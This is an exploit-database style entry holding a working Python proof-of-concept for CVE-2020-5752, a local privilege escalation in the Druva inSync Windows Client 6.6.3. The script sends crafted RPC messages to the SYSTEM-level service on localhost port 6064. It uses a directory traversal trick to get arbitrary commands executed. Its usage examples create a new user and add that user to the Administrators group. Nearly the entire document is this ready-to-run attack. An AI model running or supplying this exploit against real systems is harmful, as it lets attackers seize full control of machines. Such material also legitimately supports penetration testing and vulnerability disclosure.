Druva inSync Windows Client 6.6.3 - Local Privilege Escalation

# Exploit Title: Druva inSync Windows Client 6.6.3 - Local Privilege Escalation
# Date: 2020-05-21
# Exploit Author: Matteo Malvica
# Credits: Chris Lyne for previous version's exploit 
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.6.3/inSync6.6.3r102156.msi
# Version: 6.6.3
# Tested on: Windows 10 1909-18363.778
# CVE: CVE-2020-5752
# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation
# The path validation has been only implemented through a 'strncmp' function which can be bypassed by
# appending a directory traversal escape sequence at the end of the valid path.
# Writeup: https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/ 

# Example usage:
#python insync.py "windows\system32\cmd.exe /C net user Leon /add"
#python insync.py "windows\system32\cmd.exe /C net localgroup Administrators Leon /add"

import socket
import struct
import sys

if len(sys.argv) < 2:
    print "Usage: " + __file__ + " <quoted command to execute>"
    print "E.g. " + __file__ + " \"net user /add tenable\""
    sys.exit(0)

ip = '127.0.0.1'
port = 6064
command_line = 'C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\..\\..\\..\\..\\..\\' + sys.argv[1] 

def make_wide(str):
    new_str = ''
    for c in str:
        new_str += c
        new_str += '\x00'
    return new_str

hello = "inSync PHC RPCW[v0002]"

func_num = "\x05\x00\x00\x00"                                   # 05 is to run a command, passed as an agrument to CreateProcessW
command_line = make_wide(command_line)                          # converts ascii to UTF-8
command_length = struct.pack('<i', len(command_line))           # packed as little-endian integer
requests = [ hello, func_num, command_length, command_line ]    # sends each request separately

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

i = 1
for req in requests:
    print 'Sending request' + str(i)
    sock.send(req)
    i += 1

sock.close()

print "Done."